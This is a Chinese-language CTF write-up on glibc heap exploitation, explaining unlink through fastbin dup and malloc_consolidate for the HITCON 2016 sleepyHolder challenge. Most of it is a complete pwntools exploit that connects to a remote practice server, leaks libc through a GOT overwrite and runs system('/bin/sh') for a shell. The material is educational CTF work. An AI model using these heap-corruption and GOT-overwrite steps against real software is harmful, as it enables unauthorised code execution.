Unlink 与 fastbin dup consolidate 利用 malloc 在分配 large chunk 的时候,会调用 malloc_consolidate
函数。
malloc_consolidate
函数将 fastbin 中的 chunk 与相邻 free chunk 合并,合并后放入 unsorted bin。
若 chunk 的 next chunk 不是 free chunk,则清除 next chunk 的 size 的 INUSE 标志位。
可以利用 malloc_consolidate 清理 next chunk size 标志位的性质构造 unlink
unlink 最主要的思路就是想办法清除掉 INUSE 标志位,构造向后(低地址)unlink 的机会
unlink fast bin dup consolidate 利用条件:
存在多次释放漏洞
可以分配 large chunk
sleepyHolder_hitcon_2016 这是一道简单的 unlink 题,只能创建三种类型固定大小的 chunk
small secret: 40 字节 (fastbin)
big secret: 4000 字节
huge secret: 400000 字节
其中 huge secret 只能在申请的时候改写,不能再次修改和释放,只能利用 huge secret 来触发 malloc_consolidate
有三种操作:
Wipe: 释放 small/big
Renew: 修改 small/big secret
Keep:申请 small/big/huge , (huge 只能申请一次)
unlink 操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 keep(1 , b'\x11' * 0x28 ) keep(2 , b'\x22' * 0x28 ) wipe(1 ) keep(3 , b'\x33' * 0x28 ) wipe(1 ) keep(1 , '\x44' * 0x28 ) target = 0x6020D0 fake_chunk = p64(0 ) + p64(0x21 ) + p64(target - 0x18 ) + p64(target - 0x10 ) + p64(0x20 ) renew(1 , fake_chunk) wipe(2 )
unlink 操作后 target = 0x6020D0 (存 small 地址的变量) 的值被修改为 0x6020D0 - 0x18,调用 renew 可控如下所有地址区间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .bss :00000000006020B8 qword_6020B8 dq ? ; DATA XREF : sub_4008F0 ↑r .bss :00000000006020B8 ; sub_4008F0 +13↑w .bss :00000000006020C0 ; void *big_ptr .bss :00000000006020C0 big_ptr dq ? ; DATA XREF : Keep +11E ↑w .bss :00000000006020C0 ; Keep +139↑r ....bss :00000000006020C8 ; void *huge_ptr .bss :00000000006020C8 huge_ptr dq ? ; DATA XREF : Keep +174↑w .bss :00000000006020C8 ; Keep +18F ↑r .bss :00000000006020D0 ; void *small_ptr .bss :00000000006020D0 small_ptr dq ? ; DATA XREF : Keep +C2 ↑w .bss :00000000006020D0 ; Keep +DD ↑r ....bss :00000000006020D8 big dd ? ; DATA XREF : Keep :loc_400A3D ↑r .bss :00000000006020D8 ; Keep +125↑w ....bss :00000000006020DC huge dd ? ; DATA XREF : Keep +35↑r .bss :00000000006020DC ; Keep :loc_400A96 ↑r ....bss :00000000006020E0 small dd ? ; DATA XREF : Keep :loc_4009E1 ↑r .bss :00000000006020E0 ; Keep +C9 ↑w ...
完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from os import systemimport timefrom pwn import * context.log_level = 'debug' libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so' ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2' p = remote('node3.buuoj.cn' , 25711 ) elf = ELF('sleepyHolder_hitcon_2016' ) libc = ELF(libc_file_name)def keep (type , content ): p.recvuntil('3. Renew secret\n' ) p.sendline('1' ) time.sleep(0.5 ) p.sendline(str (type )) p.recvuntil('Tell me your secret: \n' ) p.send(content)def renew (type , content ): p.recvuntil('3. Renew secret\n' ) p.sendline('3' ) p.recvuntil('Which Secret do you want to renew?\n' ) p.sendline(str (type )) p.recvuntil('Tell me your secret: \n' ) p.send(content)def wipe (type ): p.recvuntil('3. Renew secret\n' ) p.sendline('2' ) p.recvuntil('2. Big secret\n' ) p.send(str (type )) keep(1 , b'\x11' * 0x28 ) keep(2 , b'\x22' * 0x28 ) wipe(1 ) keep(3 , b'\x33' * 0x28 ) wipe(1 ) keep(1 , '\x44' * 0x28 ) target = 0x6020D0 fake_chunk = p64(0 ) + p64(0x21 ) + p64(target - 0x18 ) + p64(target - 0x10 ) + p64(0x20 ) renew(1 , fake_chunk) wipe(2 ) payload = p64(0 ) + p64(elf.got['free' ]) + p64(elf.got['puts' ]) + p64(0x00000000006020b8 ) + p64(1 ) * 3 renew(1 , payload) renew(2 , p64(elf.plt['puts' ])) payload = p64(0 ) + p64(elf.got['puts' ]) + p64(elf.got['puts' ]) + p64(0x00000000006020b8 ) + p64(1 ) * 3 renew(1 , payload) wipe(2 ) leak_puts = u64(p.recvn(6 ) + b'\x00\x00' ) libc_base = leak_puts - libc.symbols['puts' ] system = libc_base + libc.symbols['system' ] bin_sh = libc_base + next (libc.search(b"/bin/sh\x00" )) payload = p64(0 ) + p64(elf.got['free' ]) + p64(elf.got['puts' ]) + p64(bin_sh) + p64(1 ) * 3 renew(1 , payload) renew(2 , p64(system)) wipe(1 ) p.interactive()